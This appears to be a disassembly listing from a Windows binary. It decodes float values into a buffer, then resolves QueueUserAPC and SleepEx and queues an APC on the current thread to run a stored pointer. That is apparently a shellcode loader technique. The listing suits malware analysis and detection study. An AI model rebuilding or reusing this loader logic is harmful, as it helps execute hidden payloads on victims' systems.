movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x644], edx
mov edx, dword [rbp + 0x644]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x644], eax
cmp dword [rbp + 0x644], 0x168
jle 0x1400029c4
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002a37
cmp dword [rbp + 0x644], 0
jns 0x1400029f1
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002a37
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x644]
movsd xmm0, qword [0x140006668]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140006670]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x22a
jle 0x14000295d
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x7f0], 1
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x512
jle 0x14000289f
mov rax, qword [rbp + 0x668]
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x650]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x648]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x840]
add rsp, 0x8d8
pop rbx
pop rsi
pop rdi
pop rbp
ret